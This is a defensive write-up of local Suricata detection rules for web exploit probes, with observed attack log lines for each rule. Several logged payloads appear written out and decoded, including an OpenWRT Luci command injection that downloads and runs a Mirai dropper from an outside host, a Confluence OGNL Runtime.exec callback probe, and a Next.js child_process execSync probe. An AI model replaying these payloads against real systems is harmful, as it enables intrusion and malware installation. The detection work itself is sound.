Local Suricata Rules for Web Exploit Detections

Supplemental Suricata rules written to cover gaps in the Emerging Threats open ruleset, based on observed traffic patterns in the NPM reverse proxy logs over the past several weeks. Each rule fires on HTTP requests to the local server; all examples below are real observed log lines.

SID range 9000001–9000099 is reserved for local rules.

AWS Credentials Grab (SID 9000005)

Direct requests for /.aws/credentials — the default credential file for the AWS CLI. Automated tooling mass-probes for this path against any internet-facing host.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL AWS Credentials File Grab Attempt";
  flow:established,to_server;
  http.uri; content:"/.aws/credentials"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000005; rev:1; metadata:created_at 2026_02_18;)

Observed log:

[06/Feb/2026:06:30:40 +0000] 444 - GET https 144.6.131.198 "/.aws/credentials?import&raw??"
  [Client 45.135.193.11] [Length 0] [Gzip -]
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "-"

PHP Source Backup File Grab (SID 9000006)

Probes for backup copies of PHP/ASP/JSP source files left on disk (.php.bak, .php.old, .php.txt, .php.orig, .php.swp). These frequently contain database credentials and application secrets.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL PHP Source Backup File Grab Attempt";
  flow:established,to_server;
  http.uri; pcre:"/\.(php|asp|aspx|jsp)\.(bak|old|txt|orig|swp)$/i";
  classtype:web-application-attack;
  sid:9000006; rev:1; metadata:created_at 2026_02_18;)

Observed log:

[07/Feb/2026:00:49:08 +0000] 444 - GET https 144.6.131.198 "/wp-config.php.txt"
  [Client 204.76.203.210] [Length 0] [Gzip -]
  "Mozilla/5.0" "-"

Spring Boot Actuator Sensitive Endpoint Probe (SID 9000007)

Spring Boot Actuator endpoints expose heap dumps, environment variables (including secrets), bean definitions, and in older versions the gateway filter chain — all valuable for pre-exploitation recon. The /actuator/gateway/routes endpoint is a known RCE precursor for CVE-2022-22947 (Spring Cloud Gateway SPEL injection).

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Spring Boot Actuator Sensitive Endpoint Probe";
  flow:established,to_server;
  http.uri; content:"/actuator/"; fast_pattern; nocase;
  pcre:"/\/actuator\/(heapdump|env|beans|mappings|trace|jolokia|gateway|sessions|logfile)/i";
  classtype:web-application-attack;
  sid:9000007; rev:1; metadata:created_at 2026_02_18;)

Observed logs:

[16/Feb/2026:09:33:26 +0000] 444 - GET https 144.6.131.198 "/actuator/health"
  [Client 20.65.193.252] [Length 0] [Gzip -]
  "Mozilla/5.0 zgrab/0.x" "-"

[17/Feb/2026:21:08:17 +0000] 444 - GET https 144.6.131.198 "/actuator/gateway/routes"
  [Client 79.124.40.174] [Length 0] [Gzip -]
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "-"

Next.js SSR JavaScript Injection (SID 9000008)

A probe targeting Next.js applications that pass query parameters directly to server-side eval() or execSync(). The ?cmd= parameter carries a base64-encoded IIFE that calls require('child_process').execSync(). The base64 prefix CihmdW5jdGlvbi is the invariant identifier — it is the encoding of (function( which begins every payload variant.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Next.js SSR JavaScript Injection Probe (child_process RCE)";
  flow:established,to_server;
  http.method; content:"GET";
  http.uri; content:"?cmd="; nocase;
  content:"CihmdW5jdGlvbi"; distance:0; fast_pattern;
  classtype:web-application-attack;
  sid:9000008; rev:1; metadata:created_at 2026_02_18;)

Observed log:

[02/Feb/2026:21:46:08 +0000] - 200 200 - GET http jamesbrine.com.au
  "/_next/data/buildId/page.json?cmd=CihmdW5jdGlvbigpewoJdHJ5IHsKCQl2YXIgY21kID0gImVjaG8g
   VlVMTl9URVNUIjsKCQl2YXIgcmVzdWx0ID0gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5j
   KGNtZCwge2VuY29kaW5nOiAndXRmOCd9KTsKCQlyZXR1cm4gYnRvYShyZXN1bHQpOwoJfSBjYXRjaChle
   SB7CgkJcmV0dXJuIGJ0b2EoZS50b1N0cmluZygpKTsKCX0KfSkoKQo="
  [Client 195.178.110.33] [Length 2410] [Gzip -] [Sent-to 192.168.10.x]
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "-"

Decoded payload:

(function(){
    try {
        var cmd = "echo VULN_TEST";
        var result = require('child_process').execSync(cmd, {encoding: 'utf8'});
        return btoa(result);
    } catch(e) {
        return btoa(e.toString());
    }
})()

Confluence OGNL Injection (SID 9000009)

OGNL (Object-Graph Navigation Language) expression injection in Atlassian Confluence. CVE-2022-26134 and CVE-2023-22515 both involve unauthenticated OGNL payloads in the URI that achieve RCE via the @java.lang.Runtime@getRuntime().exec() call chain. The URL-encoded prefix %24%7B%40java.lang (${@java.lang) is a reliable invariant across all known payload variants.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Confluence OGNL Injection Attempt";
  flow:established,to_server;
  http.uri; content:"%24%7B%40java.lang"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000009; rev:1; metadata:cve CVE-2022-26134, created_at 2026_02_18;)

Observed log:

[14/Feb/2026:04:43:56 +0000] 444 - GET https 144.6.131.198
  "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22nslookup%20
   d65oqn97a5rsrk1jon5096cpjn656jst7.oast.me%22%29%7D/"
  [Client 103.144.87.192] [Length 0] [Gzip -]
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101
   Firefox/140.0 Thunderbird/140.0" "-"

Decoded URI:

/${@java.lang.Runtime@getRuntime().exec("nslookup d65oqn97a5rsrk1jon5096cpjn656jst7.oast.me")}/

This is an out-of-band DNS callback canary — the nslookup will only succeed if the expression was executed server-side, making this a blind RCE detection probe. The oast.me domain is an interactsh OOB testing server.

Apache Solr Admin API Probe (SID 9000010)

Direct probing of the Apache Solr admin API. CVE-2019-0193 (DataImportHandler RCE) and several other Solr CVEs require access to /solr/admin/ endpoints. The cores and info endpoints are typically the first requests in a Solr exploitation chain.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Apache Solr Admin API Probe";
  flow:established,to_server;
  http.uri; content:"/solr/admin/"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000010; rev:1; metadata:cve CVE-2019-0193, created_at 2026_02_18;)

Observed logs:

[01/Jan/2026:16:52:36 +0000] 400 - GET http 144.6.131.198 "/solr/admin/info/system"
  [Client 46.101.199.14] [Length 252] [Gzip -]
  "Go-http-client/1.1" "-"

[01/Jan/2026:16:52:37 +0000] 400 - GET http 144.6.131.198
  "/solr/admin/cores?action=STATUS&wt=json"
  [Client 46.101.199.14] [Length 252] [Gzip -]
  "Go-http-client/1.1" "-"

Microsoft Exchange ECP Admin Probe — ProxyShell / ProxyLogon (SID 9000011)

The Exchange Control Panel (/ecp/) is the attack surface for ProxyLogon (CVE-2021-26855) and ProxyShell (CVE-2021-34473). Both exploit chains begin with requests to ECP sub-paths. The exporttool path is used specifically in post-authentication data exfiltration phases of the ProxyShell chain.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Microsoft Exchange ECP Admin Probe (ProxyShell/ProxyLogon)";
  flow:established,to_server;
  http.uri; content:"/ecp/"; fast_pattern; nocase;
  pcre:"/\/ecp\/(?:default|DDI|RulesEditor|[A-Za-z])/i";
  classtype:web-application-attack;
  sid:9000011; rev:1; metadata:cve CVE-2021-26855, created_at 2026_02_18;)

Observed log:

[02/Jan/2026:12:42:03 +0000] 444 - GET https 144.6.131.198
  "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"
  [Client 20.65.193.168] [Length 0] [Gzip -]
  "Mozilla/5.0 zgrab/0.x" "-"

Microsoft Exchange Autodiscover Probe (SID 9000012)

/Autodiscover/Autodiscover.xml is targeted by credential-harvesting tools exploiting the "Autodiscover" protocol flaw where Exchange clients POST credentials to any host claiming to serve this path. Separately used in ProxyLogon recon.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Microsoft Exchange Autodiscover Probe";
  flow:established,to_server;
  http.uri; content:"/Autodiscover/Autodiscover.xml"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000012; rev:1; metadata:cve CVE-2021-26855, created_at 2026_02_18;)

Observed log:

[01/Jan/2026:02:17:04 +0000] 444 - POST https 144.6.131.198
  "/Autodiscover/Autodiscover.xml"
  [Client 79.124.40.174] [Length 0] [Gzip -]
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
   (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" "-"

Ivanti Connect Secure Admin Interface Probe (SID 9000013)

/dana-admin/, /dana-ws/, and /dana-cached/ are path prefixes specific to Ivanti Connect Secure (formerly Pulse Secure). CVE-2024-21887 (command injection) and CVE-2023-46805 (auth bypass) both begin with requests to these paths. The dana-na prefix covers unauthenticated endpoints including the version disclosure file frequently used for fingerprinting.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Ivanti Connect Secure Admin Interface Probe";
  flow:established,to_server;
  http.uri; content:"/dana-"; fast_pattern; nocase;
  pcre:"/\/dana-(?:admin|ws|cached|na)\//i";
  classtype:web-application-attack;
  sid:9000013; rev:1; metadata:cve CVE-2024-21887, created_at 2026_02_18;)

Observed logs:

[10/Jan/2026:01:19:59 +0000] 444 - GET https 144.6.131.198
  "/dana-na/nc/nc_gina_ver.txt"
  [Client 172.236.35.120] [Length 0] [Gzip -]
  "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36" "-"

[10/Jan/2026:01:20:02 +0000] 444 - GET https 144.6.131.198
  "/dana-cached/hc/HostCheckerInstaller.osx"
  [Client 172.236.35.120] [Length 0] [Gzip -]
  "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36" "-"

Both requests came from the same IP within three seconds — version fingerprint followed by OS-specific installer path, consistent with automated Ivanti scanner tooling.

VMware vCenter SDK API Probe (SID 9000014)

/sdk is the vCenter Managed Object Browser and SOAP endpoint. CVE-2021-22005 (unauthenticated file upload RCE) and CVE-2021-21985 (vSphere Client RCE) both operate through or adjacent to this endpoint. The "Odin" scanner UA seen in logs is a known internet scanner platform.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL VMware vCenter SDK API Probe";
  flow:established,to_server;
  http.uri; content:"/sdk"; fast_pattern; nocase;
  pcre:"/\/[Ss][Dd][Kk](?:\/|$)/";
  classtype:web-application-attack;
  sid:9000014; rev:1; metadata:cve CVE-2021-22005, created_at 2026_02_18;)

Observed log:

[01/Jan/2026:16:52:32 +0000] 444 - POST https 144.6.131.198 "/sdk"
  [Client 46.101.180.242] [Length 0] [Gzip -]
  "Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)" "-"

OpenWRT Luci CGI RCE Attempt (SID 9000015)

CVE-2023-1389 is a command injection in the OpenWRT Luci web interface via the country parameter of /cgi-bin/luci/;stok=/locale. The ;stok= path component bypasses CSRF token validation, making the injection unauthenticated. Payloads download and execute Mirai-family implants.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL OpenWRT Luci CGI RCE Attempt (CVE-2023-1389)";
  flow:established,to_server;
  http.uri; content:"/cgi-bin/luci/;stok="; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000015; rev:1; metadata:cve CVE-2023-1389, created_at 2026_02_18;)

Observed logs:

Simple probe (2026):

[01/Jan/2026:19:15:10 +0000] 444 - GET https 144.6.131.198
  "/cgi-bin/luci/;stok=/locale"
  [Client 89.42.231.179] [Length 0] [Gzip -] "-" "-"

Live exploitation payload (from logs):

[08/Oct/2023:00:56:56 +0000] 444 - GET https 121.200.32.60
  "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=
   $(cd%20/tmp%3Brm%20firewall.sh%3Bwget%20http%3A//199.19.75.141%3A8091/firewall.sh%3B
   busybox%20wget%20http%3A//199.19.75.141%3A8091/firewall.sh%3B
   chmod%20777%20firewall.sh%3Bsh%20firewall.sh%3Brm%20firewall.sh)"
  [Client 85.14.248.164] [Length 0] [Gzip -]
  "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36" "-"

Decoded injection: $(cd /tmp;rm firewall.sh;wget http://199.19.75.141:8091/firewall.sh;busybox wget http://199.19.75.141:8091/firewall.sh;chmod 777 firewall.sh;sh firewall.sh;rm firewall.sh) — wget-based Mirai dropper.

PAN-OS GlobalProtect Endpoint Probe (SID 9000016)

CVE-2024-3400 is a command injection in Palo Alto PAN-OS GlobalProtect that allows unauthenticated RCE. Scanning tooling probes /global-protect/prelogin.esp and /global-protect/login.esp to fingerprint the presence of a GlobalProtect gateway before exploitation. The PAN GlobalProtect user-agent string appears in dedicated scanner traffic.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL PAN-OS GlobalProtect Endpoint Probe (CVE-2024-3400)";
  flow:established,to_server;
  http.uri; content:"/global-protect/"; fast_pattern; nocase;
  pcre:"/\/global-protect\/(?:login|prelogin|portal)/i";
  classtype:web-application-attack;
  sid:9000016; rev:1; metadata:cve CVE-2024-3400, created_at 2026_02_18;)

Observed logs:

[18/Jan/2026:06:36:30 +0000] 444 - POST https 144.6.131.198
  "/global-protect/prelogin.esp?tmp=tmp&clientVer=4100&clientos=Windows"
  [Client 141.98.80.113] [Length 0] [Gzip -]
  "PAN GlobalProtect" "-"

[04/Feb/2026:09:19:40 +0000] 444 - POST https 144.6.131.198
  "/global-protect/login.esp"
  [Client 193.29.13.80] [Length 0] [Gzip -]
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
   (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203" "-"

Kubernetes Secrets API Exposure Probe (SID 9000017)

Direct API requests to the Kubernetes secrets endpoint. A misconfigured or unauthenticated kube-apiserver would return all secrets in the targeted namespace. This was an observed real hit against a proxied application at jamesbrine.com.au (192.168.10.x) — the 200 response and 2.4 kB body suggest the endpoint may have responded with data.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Kubernetes Secrets API Exposure Probe";
  flow:established,to_server;
  http.uri; content:"/api/v1/namespaces/"; fast_pattern;
  content:"secrets"; nocase; distance:0;
  classtype:web-application-attack;
  sid:9000017; rev:1; metadata:created_at 2026_02_18;)

Observed log:

[16/Feb/2026:01:48:29 +0000] - 200 200 - GET http jamesbrine.com.au
  "/api/v1/namespaces/default/secrets"
  [Client 185.177.72.60] [Length 2410] [Gzip -] [Sent-to 192.168.10.x]
  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "-"

Citrix NetScaler ADC Gateway Probes (SIDs 9000018, 9000019)

Two rules cover different Citrix CVEs:

SID 9000018 — CVE-2023-4966 (CitrixBleed): An unauthenticated memory disclosure vulnerability that leaks session tokens from /oauth/v1/ endpoints. Allows session hijacking without credentials.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Citrix NetScaler ADC Gateway Probe (CVE-2023-4966 Bleed)";
  flow:established,to_server;
  http.uri; content:"/oauth/v1/"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000018; rev:1; metadata:cve CVE-2023-4966, created_at 2026_02_18;)

SID 9000019 — CVE-2019-19781: Path traversal in the Citrix ADC SSLVPN component, allowing unauthenticated RCE via /vpns/cfg/smb.conf. Massively exploited in 2020 despite its 2019 disclosure date.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL Citrix CVE-2019-19781 Path Traversal Attempt";
  flow:established,to_server;
  http.uri; content:"/vpns/cfg/"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000019; rev:1; metadata:cve CVE-2019-19781, created_at 2026_02_18;)

F5 BIG-IP iControl REST Probes (SIDs 9000020, 9000021)

Two rules cover the F5 BIG-IP REST API attack surface:

SID 9000020 — CVE-2022-1388: Authentication bypass in the iControl REST API (/mgmt/tm/) allowing unauthenticated command execution. CVSS 9.8. Widely exploited within days of disclosure.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL F5 BIG-IP iControl REST Auth Bypass Probe";
  flow:established,to_server;
  http.uri; content:"/mgmt/tm/"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000020; rev:1; metadata:cve CVE-2022-1388, created_at 2026_02_18;)

SID 9000021 — CVE-2023-46747: Authentication bypass via the shared authn endpoint (/mgmt/shared/authn/) in BIG-IP Configuration Utility. Chained with CVE-2023-46748 (SQL injection) to achieve RCE.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (
  msg:"LOCAL F5 BIG-IP mgmt Shared Auth Probe (CVE-2023-46747)";
  flow:established,to_server;
  http.uri; content:"/mgmt/shared/authn/"; fast_pattern; nocase;
  classtype:web-application-attack;
  sid:9000021; rev:1; metadata:cve CVE-2023-46747, created_at 2026_02_18;)

Rule Summary